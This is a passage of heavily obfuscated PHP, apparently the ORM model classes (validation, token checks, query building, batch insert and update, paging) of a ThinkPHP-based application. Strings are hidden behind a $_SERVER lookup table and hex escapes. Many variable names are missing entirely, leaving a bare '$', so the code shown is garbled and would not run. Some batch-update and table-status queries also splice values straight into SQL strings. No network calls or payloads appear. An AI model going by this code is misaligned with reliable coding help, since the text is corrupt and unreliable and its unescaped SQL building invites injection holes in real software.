if (think_config($[297])) { $儐[] = think_config($[298]); } foreach ($׳ as $ => $Ȟ) { if (!in_array($, $儐)) { unset($׳[$]); } } } if (!$this->autoValidation($׳, $Ӧ)) { return !1; } if (!$this->autoCheckToken($׳)) { $this->error = think_lang($[299]); return !1; } if ($this->autoCheckFields) { $儐 = $this->getDbFields(); foreach ($׳ as $ => $Ȟ) { if (!in_array($, $儐)) { unset($׳[$]); } elseif (MAGIC_QUOTES_GPC && is_string($Ȟ)) { $׳[$] = stripslashes($Ȟ); } } } $this->autoOperation($׳, $Ӧ); $this->data = $׳; return $׳; } public function autoCheckToken($) { $Ɠך =& $_SERVER[譃]; if (isset($this->options[$Ɠך[300]]) && !$this->options[$Ɠך[300]]) { return !0; } if (think_config($Ɠך[297])) { $ = think_config($Ɠך[298]); if (!isset($[$]) || Session::get($)) { return !1; } list($ߏ, $ǿ) = explode($Ɠך[11], $[$]); if ($ǿ && Session::get($ . $Ɠך[10] . $ߏ) === $ǿ) { Session::remove($ . $Ɠך[10] . $ߏ); return !0; } if (think_config($Ɠך[301])) { Session::remove($ . $Ɠך[10] . $ߏ); } return !1; } return !0; } public function regex($Ʋ, $۬) { $ñ =& $_SERVER[譃]; $ߋ筓 = array($ñ[302] => $ñ[303], $ñ[304] => $ñ[305], $ñ[306] => $ñ[307], $ñ[308] => $ñ[309], $ñ[310] => $ñ[311], $ñ[312] => $ñ[313], $ñ[314] => $ñ[315], $ñ[289] => $ñ[316], $ñ[317] => $ñ[318]); if (isset($ߋ筓[strtolower($۬)])) { $۬ = $ߋ筓[strtolower($۬)]; } return preg_match($۬, $Ʋ) === 1; } private function autoOperation(&$ܷ, $) { $ެ =& $_SERVER[譃]; if (!empty($this->options[$ެ[319]])) { $ꃲ = $this->options[$ެ[319]]; unset($this->options[$ެ[319]]); } elseif (!empty($this->_auto)) { $ꃲ = $this->_auto; } if (isset($ꃲ)) { foreach ($ꃲ as $ȣ) { if (empty($ȣ[2])) { $ȣ[2] = THINK_MODEL_INSERT; } if ($ == $ȣ[2] || $ȣ[2] == THINK_MODEL_BOTH) { switch (trim($ȣ[3])) { case $ެ[320]: case $ެ[321]: $ = isset($ȣ[4]) ? (array) $ȣ[4] : array(); if (isset($ܷ[$ȣ[0]])) { array_unshift($, $ܷ[$ȣ[0]]); } if ($ެ[320] == $ȣ[3]) { $ܷ[$ȣ[0]] = call_user_func_array($ȣ[1], $); } else { $ܷ[$ȣ[0]] = call_user_func_array(array(&$this, $ȣ[1]), $); } break; case $ެ[272]: $ܷ[$ȣ[0]] = $ܷ[$ȣ[1]]; break; case $ެ[322]: if ($ެ[12] === $ܷ[$ȣ[0]]) { unset($ܷ[$ȣ[0]]); } break; case $ެ[323]: default: $ܷ[$ȣ[0]] = $ȣ[1]; } if (!1 === $ܷ[$ȣ[0]]) { unset($ܷ[$ȣ[0]]); } } } } return $ܷ; } protected function autoValidation($, $ѣ) { $¦ =& $_SERVER[譃]; if (!empty($this->options[$¦[324]])) { $ = $this->options[$¦[324]]; unset($this->options[$¦[324]]); } elseif (!empty($this->_validate)) { $ = $this->_validate; } if (isset($)) { if ($this->patchValidate) { $this->error = array(); } foreach ($ as $ト => $ು) { if (empty($ು[5]) || $ು[5] == THINK_MODEL_BOTH || $ು[5] == $ѣ) { if (0 == strpos($ು[2], $¦[325]) && strpos($ು[2], $¦[326])) { $ು[2] = think_lang(substr($ು[2], 2, -1)); } $ು[3] = isset($ು[3]) ? $ು[3] : THINK_EXISTS_VALIDATE; $ು[4] = isset($ು[4]) ? $ು[4] : $¦[327]; switch ($ು[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($, $ು)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($¦[12] != trim($[$ು[0]])) { if (!1 === $this->_validationField($, $ು)) { return !1; } } break; default: if (isset($[$ು[0]])) { if (!1 === $this->_validationField($, $ು)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($Խ, $ƞ) { if (!1 === $this->_validationFieldItem($Խ, $ƞ)) { if ($this->patchValidate) { $this->error[$ƞ[0]] = $ƞ[2]; } else { $this->error = $ƞ[2]; return !1; } } return; } protected function _validationFieldItem($, $Е) { $Թ =& $_SERVER[譃]; switch (strtolower(trim($Е[4]))) { case $Թ[320]: case $Թ[321]: $ƅ = isset($Е[6]) ? (array) $Е[6] : array(); if (is_string($Е[0]) && strpos($Е[0], $Թ[50])) { $Е[0] = explode($Թ[50], $Е[0]); } if (is_array($Е[0])) { foreach ($Е[0] as $פ) { $[$פ] = $[$פ]; } array_unshift($ƅ, $); } else { array_unshift($ƅ, $[$Е[0]]); } if ($Թ[320] == $Е[4]) { return call_user_func_array($Е[1], $ƅ); } else { return call_user_func_array(array(&$this, $Е[1]), $ƅ); } case $Թ[328]: return $[$Е[0]] == $[$Е[1]]; case $Թ[329]: if (is_string($Е[0]) && strpos($Е[0], $Թ[50])) { $Е[0] = explode($Թ[50], $Е[0]); } $ߕ = array(); if (is_array($Е[0])) { foreach ($Е[0] as $פ) { $ߕ[$פ] = $[$פ]; } } else { $ߕ[$Е[0]] = $[$Е[0]]; } if (!empty($[$this->getPk()])) { $ߕ[$this->getPk()] = array($Թ[330], $[$this->getPk()]); } if ($this->where($ߕ)->find()) { return !1; } return !0; default: return $this->check($[$Е[0]], $Е[1], $Е[4]); } } public function check($Ѻ, $ܧ, $ = "\x72\145\x67\145\x78") { $ =& $_SERVER[譃]; $ = strtolower(trim($)); switch ($) { case $[7]: case $[331]: $ϛ = is_array($ܧ) ? $ܧ : explode($[50], $ܧ); return $ == $[7] ? in_array($Ѻ, $ϛ) : !in_array($Ѻ, $ϛ); case $[332]: case $[333]: if (is_array($ܧ)) { $Õ = $ܧ[0]; $ə֣ = $ܧ[1]; } else { list($Õ, $ə֣) = explode($[50], $ܧ); } return $ == $[332] ? $Ѻ >= $Õ && $Ѻ <= $ə֣ : $Ѻ < $Õ || $Ѻ > $ə֣; case $[334]: case $[335]: return $ == $[334] ? $Ѻ == $ܧ : $Ѻ != $ܧ; case $[336]: $φ = mb_strlen($Ѻ, $[337]); if (strpos($ܧ, $[50])) { list($Õ, $ə֣) = explode($[50], $ܧ); return $φ >= $Õ && $φ <= $ə֣; } else { return $φ == $ܧ; } case $[338]: list($֣, $Ŗ) = explode($[50], $ܧ); if (!is_numeric($֣)) { $֣ = strtotime($֣); } if (!is_numeric($Ŗ)) { $Ŗ = strtotime($Ŗ); } return NOW_TIME >= $֣ && NOW_TIME <= $Ŗ; case $[339]: return in_array(get_client_ip(), explode($[50], $ܧ)); case $[340]: return !in_array(get_client_ip(), explode($[50], $ܧ)); case $[327]: default: return $this->regex($Ѻ, $ܧ); } } public function query($ԟҨ, $ֆ = false) { $ =& $_SERVER[譃]; if (!is_bool($ֆ) && !is_array($ֆ)) { $ֆ = func_get_args(); array_shift($ֆ); } $ԟҨ = str_replace(array($[230], $[341]), $[53], $ԟҨ); $ԟҨ = $this->parseSql($ԟҨ, $ֆ); return $this->db->query($ԟҨ); } public function execute($, $Ȁ = false) { if (!is_bool($Ȁ) && !is_array($Ȁ)) { $Ȁ = func_get_args(); array_shift($Ȁ); } $ = $this->parseSql($, $Ȁ); return $this->db->execute($); } protected function parseSql($ʻ, $̕催) { $ԭ =& $_SERVER[譃]; if (!0 === $̕催) { $ÜƸ = $this->_parseOptions(); $ʻ = $this->db->parseSql($ʻ, $ÜƸ); } elseif (is_array($̕催)) { $̕催 = array_map(array($this->db, $ԭ[342]), $̕催); $ʻ = vsprintf($ʻ, $̕催); } else { $ʻ = strtr($ʻ, array($ԭ[343] => $this->getTableName(), $ԭ[344] => think_config($ԭ[243]))); } $this->db->setModel($this->name); return $ʻ; } public function db($ث = '', $ֻƾ = '', $ꬪ = array()) { $ͼʹ =& $_SERVER[譃]; if ($ͼʹ[12] === $ث && $this->db) { return $this->db; } static $ = array(); static $ = array(); if (!isset($[$ث]) || isset($[$ث]) && $ֻƾ && $[$ث] != $ֻƾ) { if (!empty($ֻƾ) && is_string($ֻƾ) && !1 === strpos($ֻƾ, $ͼʹ[8])) { $ֻƾ = think_config($ֻƾ); } $ث = think_guid($ֻƾ); $[$ث] = Db::getInstance($ֻƾ); } elseif (NULL === $ֻƾ) { $[$ث]->close(); unset($[$ث]); return; } if (!empty($ꬪ)) { if (is_string($ꬪ)) { parse_str($ꬪ, $ꬪ); } foreach ($ꬪ as $厃 => $ݗ) { $this->setProperty($厃, $ݗ); } } $[$ث] = $ֻƾ; $this->db = $[$ث]; $this->_after_db(); if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $ = get_class($this); if ($ == $_SERVER[譃][345]) { return $this->name; } $this->name = substr($, 0, -5); } return $this->name; } public function getTableName() { $ =& $_SERVER[譃]; if (empty($this->trueTableName)) { $ٮ = !empty($this->tablePrefix) ? $this->tablePrefix : $[12]; if (!empty($this->tableName)) { $ٮ .= $this->tableName; } else { $ٮ .= think_parse_name($this->name); } $this->trueTableName = strtolower($ٮ); } return (!empty($this->dbName) ? $this->dbName . $[10] : $[12]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $ =& $_SERVER[譃]; return isset($this->fields[$[250]]) ? $this->fields[$[250]] : $this->pk; } public function getDbFields() { $շ =& $_SERVER[譃]; if (isset($this->options[$շ[278]])) { $ӧ = $this->db->getFields($this->options[$շ[278]]); return $ӧ ? array_keys($ӧ) : !1; } if ($this->fields) { $ӧ = $this->fields; unset($ӧ[$շ[249]], $ӧ[$շ[250]], $ӧ[$շ[251]], $ӧ[$շ[248]]); return $ӧ; } return !1; } public function data($ = '') { $ͩ =& $_SERVER[譃]; if ($ͩ[12] === $ && !empty($this->data)) { return $this->data; } if (is_object($)) { $ = get_object_vars($); } elseif (is_string($)) { parse_str($, $); } elseif (!is_array($)) { think_exception(think_lang($ͩ[270])); } $this->data = $; return $this; } public function join($Ļ) { $Ϳ =& $_SERVER[譃]; if (is_array($Ļ)) { $this->options[$Ϳ[281]] = $Ļ; } elseif (!empty($Ļ)) { $this->options[$Ϳ[281]][] = $Ļ; } return $this; } public function union($՛, $ = false) { $癫Ƽ =& $_SERVER[譃]; if (empty($՛)) { return $this; } if ($) { $this->options[$癫Ƽ[346]][$癫Ƽ[347]] = !0; } if (is_object($՛)) { $՛ = get_object_vars($՛); } if (is_string($՛)) { $ = $՛; } elseif (is_array($՛)) { if (isset($՛[0])) { $this->options[$癫Ƽ[346]] = array_merge($this->options[$癫Ƽ[346]], $՛); return $this; } else { $ = $՛; } } else { think_exception(think_lang($癫Ƽ[270])); } $this->options[$癫Ƽ[346]][] = $; return $this; } public function cache($ = true, $ݰ = null, $ݷ = '') { $ =& $_SERVER[譃]; if (!1 !== $) { $this->options[$[348]] = array($[95] => $, $[338] => $ݰ, $[33] => $ݷ); } return $this; } public function field($ݮ, $Ԡ = false) { $ =& $_SERVER[譃]; if (!0 === $ݮ) { $ = $this->getDbFields(); $ݮ = $ ? $ : $[185]; } elseif ($Ԡ) { if (is_string($ݮ)) { $ݮ = explode($[50], $ݮ); } $ = $this->getDbFields(); $ݮ = $ ? array_diff($, $ݮ) : $ݮ; } $this->options[$[272]] = $ݮ; return $this; } public function scope($ = '', $ = NULL) { $áꕿ =& $_SERVER[譃]; if ($áꕿ[12] === $) { if (isset($this->_scope[$áꕿ[37]])) { $ˈÛ = $this->_scope[$áꕿ[37]]; } else { return $this; } } elseif (is_string($)) { $ή = explode($áꕿ[50], $); $ˈÛ = array(); foreach ($ή as $ᣴƑ) { if (!isset($this->_scope[$ᣴƑ])) { continue; } $ˈÛ = array_merge($ˈÛ, $this->_scope[$ᣴƑ]); } if (!empty($) && is_array($)) { $ˈÛ = array_merge($ˈÛ, $); } } elseif (is_array($)) { $ˈÛ = $; } if (is_array($ˈÛ) && !empty($ˈÛ)) { $this->options = array_merge($this->options, array_change_key_case($ˈÛ)); } return $this; } public function where($, $˙ = null) { $Պ =& $_SERVER[譃]; if (!is_null($˙) && is_string($)) { if (!is_array($˙)) { $˙ = func_get_args(); array_shift($˙); } $˙ = array_map(array($this->db, $Պ[342]), $˙); $ = vsprintf($, $˙); } elseif (is_object($)) { $ = get_object_vars($); } elseif (is_array($)) { foreach ($ as $ => $) { if ((is_numeric($) || !$) && is_string($)) { if (strpos($, $Պ[349]) === 0) { continue; } think_trace($Պ[350], $Պ[12], $Պ[49]); die; } } } if (is_string($) && $Պ[12] != $) { $Ղ = array(); $Ղ[$Պ[351]] = $; $ = $Ղ; } if (isset($this->options[$Պ[274]])) { $this->options[$Պ[274]] = array_merge($this->options[$Պ[274]], $); } else { $this->options[$Պ[274]] = $; } return $this; } public function limit($Ƥ, $ڽ = null) { $צÆ =& $_SERVER[譃]; $this->options[$צÆ[291]] = is_null($ڽ) ? $Ƥ : $Ƥ . $צÆ[50] . $ڽ; return $this; } public function page($ٌ, $۲ = null) { $ =& $_SERVER[譃]; $this->options[$[352]] = is_null($۲) ? $ٌ : $ٌ . $[50] . $۲; return $this; } public function comment($Ӯ) { $this->options[$_SERVER[譃][353]] = $Ӯ; return $this; } public function setProperty($Ϲ, $) { if (property_exists($this, $Ϲ)) { $this->{$Ϲ} = $; } return $this; } } class ModelBase extends Model { const SQL_WHERE_IN_CHUNK = 2000; protected $dataAuto = array(array("\x6d\x6f\x64\x69\146\x79\124\151\x6d\x65", "\164\151\x6d\145", "\151\156\x73\145\x72\164\x2c\165\x70\144\x61\164\145", "\146\165\156\x63\x74\151\x6f\x6e"), array("\x63\162\x65\x61\x74\145\x54\151\155\145", "\x74\151\x6d\x65", "\151\156\x73\x65\x72\x74", "\146\165\x6e\143\164\x69\157\x6e")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ߤ = '', $ʠ = '', $°Җ = '') { parent::__construct($ߤ, $ʠ, $°Җ); } protected $tableMeta = array(); protected function _beforeInsert(&$۬, $ݙ) { $Ⓠ =& $_SERVER[譃]; if (!$this->checkDataAutoHas($Ⓠ[354])) { return; } $this->dataBeforeFilter($۬, $Ⓠ[354]); } protected function _beforeUpdate(&$, $) { $˿ =& $_SERVER[譃]; if (!$this->checkDataAutoHas($˿[355])) { return; } $this->dataBeforeFilter($, $˿[355]); } protected function _afterSelect(&$, $ͺ) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[譃][356])) { return; } foreach ($ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$, $铹) { if (!is_array($)) { return; } if (!$this->checkDataAutoHas($_SERVER[譃][356])) { return; } $this->dataAfterFilter($); } public static function textEncode($) { if (!$) { return $; } $ = json_encode($); $ = preg_replace_callback($_SERVER[譃][357], function ($ý) { return addslashes($ý[0]); }, $); return json_decode($); } public static function textDecode($) { $ =& $_SERVER[譃]; $ = json_encode($); $ = preg_replace_callback($[358], function ($ӫ) { return $_SERVER[譃][98]; }, $); return json_decode($); } public function setAutoIncrement($̮) { $ = array($this->getPk() => $̮); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $ = $this->getTableName(); $ = $this->max($this->getPk()); $׳ = $this->query("\163\x68\157\x77\x20\164\x61\142\154\x65\x20\x73\x74\x61\164\x75\x73\x20\167\x68\x65\162\145\x20\116\141\155\145\75\47{$}\x27"); $ڣ = $׳[0][$_SERVER[譃][359]]; $ܚ = max($, $ڣ); return $ܚ; } protected function _callBefore($, $̅) { return $this->cacheCallCheck($, $̅, !1); } protected function _callAfter($瑓, $) { return $this->cacheCallCheck($瑓, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($圪, $, $ = false) { $ը = $this->cacheFunctionAlias($); if (!$ը) { return; } foreach ($ը as $ߖ => $സ) { $ߘд = $സ[0]; $襞 = explode($_SERVER[譃][50], $സ[1]); if ($圪 == $ߖ) { return $this->cacheFunctionGet($ߖ, $ߘд); } if ($ && in_array($圪, $襞)) { $this->cacheFunctionClear($ߖ, $ߘд); } } } public function cacheFunctionGet($ħ, $♧) { $ = $this->cacheKeyMake($ħ, $♧); $Ⱥ = Cache::get($); if (!is_array($Ⱥ)) { $Ⱥ = call_user_func_array(array($this, $ħ), array($♧, !0)); Cache::set($, $Ⱥ); } return $Ⱥ; } public function cacheFunctionClear($, $朘) { $ߎᔈ = $朘; if (!is_array($朘)) { $ߎᔈ = array($朘); } foreach ($ߎᔈ as $Ն) { $賔 = $this->cacheKeyMake($, $Ն); Cache::remove($賔); } } private function cacheKeyMake($Ӯ, $Ljʭ) { $ӳ =& $_SERVER[譃]; return get_class($this) . $ӳ[11] . $Ӯ . $ӳ[360] . $Ljʭ; } protected function selectPageReset() { $Գ =& $_SERVER[譃]; if (isset($GLOBALS[$Գ[361]])) { return; } $GLOBALS[$Գ[361]] = isset($GLOBALS[$Գ[7]][$Գ[362]]) ? $GLOBALS[$Գ[7]][$Գ[362]] : !1; $GLOBALS[$Գ[363]] = isset($GLOBALS[$Գ[7]][$Գ[352]]) ? $GLOBALS[$Գ[7]][$Գ[352]] : !1; $GLOBALS[$Գ[7]][$Գ[362]] = !1; $GLOBALS[$Գ[7]][$Գ[352]] = !1; } protected function selectPageRestore() { $ =& $_SERVER[譃]; if (!isset($GLOBALS[$[361]])) { return; } $GLOBALS[$[7]][$[362]] = $GLOBALS[$[361]]; $GLOBALS[$[7]][$[352]] = $GLOBALS[$[363]]; if ($GLOBALS[$[7]][$[362]] === !1) { unset($GLOBALS[$[7]][$[362]]); } if ($GLOBALS[$[7]][$[352]] === !1) { unset($GLOBALS[$[7]][$[352]]); } unset($GLOBALS[$[361]]); unset($GLOBALS[$[363]]); } protected function selectPage($ = 200, $ = 1) { $ڲ =& $_SERVER[譃]; global $in; $Ə = $this->optionsValue(); $ƕ = 50000; $ = isset($in[$ڲ[362]]) && $in[$ڲ[362]] ? $in[$ڲ[362]] : $; if ($ === -1) { $in[$ڲ[362]] = !1; $ƕ = 100000000; $ = $ƕ; } $Źɓ = $Ə; $Źɓ[$ڲ[364]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ƕ ? $ƕ : $); $ = intval(isset($in[$ڲ[352]]) && $in[$ڲ[352]] ? $in[$ڲ[352]] : $); $ = $ <= 1 ? 1 : $; $Ӕʤ = array(); $鮿 = 1; if ($ == 1 && $鮿) { $this->optionsValue($Ə); $Ӕʤ = $this->page($, $)->select(); $ϴ = is_array($Ӕʤ) ? count($Ӕʤ) : 0; if ($ϴ < $) { $蜓 = 1; } else { $this->optionsValue($Źɓ); $ϴ = intval($this->count()); $蜓 = ceil($ϴ / $); } } else { $this->optionsValue($Źɓ); $ϴ = intval($this->count()); $蜓 = ceil($ϴ / $); $ = $ >= $蜓 ? $蜓 : $; $this->optionsValue($Ə); $Ӕʤ = $this->page($, $)->select(); } if (!is_array($Ӕʤ)) { $Ӕʤ = array(); } if ($蜓 == 1) { $ϴ = count($Ӕʤ); } $ = array($ڲ[365] => array($ڲ[366] => $ϴ, $ڲ[362] => $, $ڲ[352] => $, $ڲ[367] => $蜓), $ڲ[368] => $Ӕʤ); return $; } protected function checkLength($, $ = 0, $ڪ = '') { $ =& $_SERVER[譃]; $ = $ ? $ : 65536; if (!$ || strlen($) < $) { return; } $ڪ = $ڪ ? $ڪ . $[71] : $[12]; show_json($ڪ . LNG($[369]) . "\50{$}\51", !1); } protected function metaSet($݄, $ = null, $ĥ = null) { $Ѩ =& $_SERVER[譃]; if (!$this->tableMeta || !$݄) { return !1; } $ = $this->tableMeta[$Ѩ[370]]; $ټ = $this->tableMeta[$Ѩ[371]]; $в = Model($ټ); $ = array($ => $݄, $Ѩ[372] => $); if (is_null($)) { return $в->where(array($ => $݄))->delete(); } if (is_null($ĥ) && is_string($)) { return $в->where($)->delete(); } $ώԎ = is_array($) ? $ : array(); if (is_string($)) { $ώԎ[$] = $ĥ; } $ɵՒ = array(); foreach ($ώԎ as $ => $㻎) { if (is_null($㻎) && is_string($)) { $в->where(array($ => $݄, $Ѩ[372] => $))->delete(); continue; } $this->checkLength($㻎, !1, $ټ . $Ѩ[4] . $); $ɵՒ[] = array($ => $݄, $Ѩ[95] => $, $Ѩ[373] => $㻎); } $ = $Ѩ[374] . $ټ; CacheLock::lock($); $в->where(array($ => $݄))->addAll($ɵՒ, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($, $̼ = false) { $ =& $_SERVER[譃]; if (!$this->tableMeta) { return array(); } $ = $this->tableMeta[$[370]]; $ˣ = Model($this->tableMeta[$[371]]); if ($̼) { $ = array($ => $, $[95] => $̼); return $ˣ->where($)->getField($[373]); } $ = array($ => $); $ = $ˣ->field($[375])->where($)->select(); $ = array_to_keyvalue($, $[95], $[373]); return $; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[譃][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$ڀ, $Ĵ) { $ݜ =& $_SERVER[譃]; if (!is_array($ڀ)) { return; } foreach ($this->dataAuto as $ڠ) { $ȁ = $ڠ[0]; if (!in_array($Ĵ, explode($ݜ[50], $ڠ[2]))) { continue; } switch (trim($ڠ[3])) { case $ݜ[320]: case $ݜ[321]: $Ō = $ڠ[1]; $Ą = isset($ڠ[4]) ? (array) $ڠ[4] : array(); if ($Ō == $ݜ[200] && array_key_exists($ȁ, $ڀ)) { if (!$ڀ[$ȁ]) { unset($ڀ[$ȁ]); } break; } if (isset($ڀ[$ȁ])) { array_unshift($Ą, $ڀ[$ȁ]); } if ($ݜ[320] == $ڠ[3]) { $ڀ[$ȁ] = call_user_func_array($Ō, $Ą); } else { $ڀ[$ȁ] = call_user_func_array(array(&$this, $Ō), $Ą); } break; case $ݜ[269]: if (isset($ڀ[$ȁ]) && $ڀ[$ȁ]) { $ڀ[$ȁ] = call_user_func_array(array(&$this, $ڠ[1]), array($ڀ[$ȁ])); } break; case $ݜ[272]: $ڀ[$ȁ] = $ڀ[$ڠ[1]]; break; case $ݜ[293]: if (isset($ڀ[$ȁ]) && !is_string($ڀ[$ȁ])) { $ڀ[$ȁ] = json_encode_force($ڀ[$ȁ]); } break; case $ݜ[322]: if ($ڀ[$ȁ] === $ݜ[12]) { unset($ڀ[$ȁ]); } break; case $ݜ[323]: $ڀ[$ȁ] = $ڠ[1]; default: break; } } if ($Ĵ == $ݜ[354]) { $ޏ = strtolower($this->db->getDbType()); if (strpos($ޏ, $ݜ[13]) !== 0) { return; } $ = $this->field(!0)->fields; $ = $[$ݜ[251]]; if (isset($[$ݜ[250]])) { unset($[$[$ݜ[250]]]); } foreach ($ as $勝 => $Ĵ) { if (!isset($ڀ[$勝])) { $ڀ[$勝] = $ݜ[12]; } } } } private function dataAfterFilter(&$́֝) { $ =& $_SERVER[譃]; foreach ($this->dataAuto as $) { $υ = $[0]; if (!isset($́֝[$υ])) { continue; } if (!in_array($[356], explode($[50], $[2]))) { continue; } switch (trim($[3])) { case $[320]: case $[321]: $ˊ = isset($[4]) ? (array) $[4] : array(); array_unshift($ˊ, $́֝[$υ]); if (isset($[4]) && $[4] == $[376]) { $ˊ = array($́֝[$υ]); } if ($[320] == $[3]) { $́֝[$υ] = call_user_func_array($[1], $ˊ); } else { $́֝[$υ] = call_user_func_array(array(&$this, $[1]), $ˊ); } break; case $[269]: if (isset($́֝[$υ]) && $́֝[$υ]) { $́֝[$υ] = call_user_func_array(array(&$this, $[1]), array($́֝[$υ])); } break; case $[272]: $́֝[$υ] = $́֝[$[1]]; break; case $[293]: $ = $́֝[$υ]; $́֝[$υ] = json_decode($, !0); if (is_null($́֝[$υ])) { $́֝[$υ] = $; } break; case $[322]: if ($́֝[$υ] === $[12]) { unset($́֝[$υ]); } break; case $[323]: $́֝[$υ] = $[1]; break; default: break; } } } public function saveAll($) { $ =& $_SERVER[譃]; $ڒ = $this->tablePrefix . $this->tableName; $羁 = self::SQL_WHERE_IN_CHUNK; $ = is_array($) ? $ : array(); $ = $[377]; $՛ҡ = 0; $ = array(); $Җ = count($); for ($ = 0; $ < $Җ; $++) { $ = $[$]; if (!is_array($) || count($) != 4) { continue; } $ݲ = "\x55\x50\x44\x41\124\x45\x20\x60{$ڒ}\140\40\x53\105\124\x20{$[2]}\40\75\40\x43\101\x53\105\x20{$[0]}\40\12"; if ($՛ҡ == 0) { $ = $ݲ; } $[] = $[119] . $[1] . $[119]; $՛ҡ++; $ .= "\40\x57\110\x45\116\x20\x27{$[1]}\x27\x20\x54\x48\105\116\40\x27{$[3]}\47\x20\12"; if ($՛ҡ == $羁 || $ == $Җ - 1) { $ߢ = implode($[50], $); $ .= "\x20\x45\x4e\x44\40\40\127\110\105\x52\x45\x20{$[0]}\40\x49\x4e\x20\50{$ߢ}\51\x20"; $this->execute($); $՛ҡ = 0; $ = $ݲ; $this->chunkEventCheck(count($)); $ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ؕۛ =& $_SERVER[譃]; $ԇ = $this->tablePrefix . $this->tableName; foreach ($ as $Ⱦ) { if (!is_array($Ⱦ) || count($Ⱦ) != 4) { continue; } $ = $Ⱦ[0] . $ؕۛ[378] . $Ⱦ[1] . $ؕۛ[119]; $ = $Ⱦ[2] . $ؕۛ[378] . $Ⱦ[3] . $ؕۛ[119]; $ɵ = "\x75\x70\x64\x61\164\145\40{$ԇ}\x20\x73\145\x74\x20{$}\40\167\x68\145\162\x65\x20{$}\73"; $this->execute($ɵ); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ = false, $ = false) { $this->_chunkEvent = $; $this->_chunkEventParam = $; } private function chunkEventCheck($ꌉ) { if (!$this->_chunkEvent) { return; } $й = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $й[$_SERVER[譃][379]] = $ꌉ; Hook::trigger($this->_chunkEvent, $й); } public function addAll($, $ = array(), $ꭘ = false) { $ =& $_SERVER[譃]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[270]); return !1; } $ = $this->_parseOptions($); foreach ($ as $ߛܵ => $˥ہ) { $[$ߛܵ] = $this->_facade($˥ہ); $this->_beforeInsert($[$ߛܵ], $); } if (method_exists($this->db, $[271])) { for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $, $ꭘ); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ߛܵ => $˥ہ) { $ = $this->db->insert($˥ہ, $, $ꭘ); } $this->commit(); } if (!1 !== $) { $ˤק = $this->getLastInsID(); if ($ˤק) { return $ˤק; } } return $; } public function save($ = '', $ = array()) { $ =& $_SERVER[譃]; $ӵ = self::SQL_WHERE_IN_CHUNK; $︥ = $this->optionsValue(); $舘 = $this->findWhereField($︥); if (!$舘) { return parent::save($, $); } $ = 0; $ = $︥[$[274]][$舘][1]; $ = is_array($) ? $ : array(); $ف = count($); for ($矞 = 0; $矞 < $ف; $矞 += $ӵ) { $ = array_slice($, $矞, $ӵ); if (!is_array($) || count($) == 0) { break; } $︥[$[274]][$舘][1] = $; $this->optionsValue($︥); $ += parent::save($, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); return $; } public function add($텻 = '', $͜ = array(), $◑ = false) { if ($this->addTaskStatus && is_array($텻)) { $this->addTaskData[] = $텻; return; } return parent::add($텻, $͜, $◑); } public function parseWhereLike($Ϝ, $ܸ = '', $Բ = false, &$ = false) { $ǣ =& $_SERVER[譃]; $݇ = $GLOBALS[$ǣ[6]][$ǣ[380]]; if (!$݇[$ǣ[381]]) { return $Ϝ; } if (!is_array($Ϝ)) { return $Ϝ; } $ = array(); $֏ = 0; foreach ($Ϝ as $ => $) { if (is_array($) && count($) == 2 && $[0] == $ǣ[382] && is_string($[1]) && substr($[1], 0, 1) == $ǣ[383] && substr($[1], strlen($[1]) - 1, 1) == $ǣ[383]) { $ = !0; $կ = is_string($) ? $ : $ܸ; $ۋ = substr($[1], 1, strlen($[1]) - 2); $ۋ = $this->db->escapeString($ۋ); if (!strpos($կ, $ǣ[10])) { $կ = $ǣ[384] . $կ . $ǣ[384]; } $ː = $ǣ[185] . $ۋ . $ǣ[185]; if ($݇[$ǣ[385]]) { $ː = $ǣ[386] . $ۋ . $ǣ[387]; if ($݇[$ǣ[388]]) { $ː = $ǣ[387] . $ۋ . $ǣ[386]; } } $[$֏] = $ǣ[389] . $կ . $ǣ[390] . $ː . $ǣ[391]; $֏++; continue; } if (is_array($)) { $ܸ = is_string($) ? $ : $ܸ; $ = $this->parseWhereLike($, $ܸ, !0, $); } if (is_numeric($)) { $[$֏] = $; $֏++; } else { $[$] = $; } } if ($ && !$Բ) { } return $; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($Ȗ = array()) { $ =& $_SERVER[譃]; $ = self::SQL_WHERE_IN_CHUNK; $Ҟ = $this->optionsValue(); $ = $this->findWhereField($Ҟ); if (!$ || isset($Ҟ[$[291]]) || isset($Ҟ[$[352]])) { return parent::select($Ȗ); } $Ͻ = $Ҟ[$[274]][$][1]; $Ͻ = 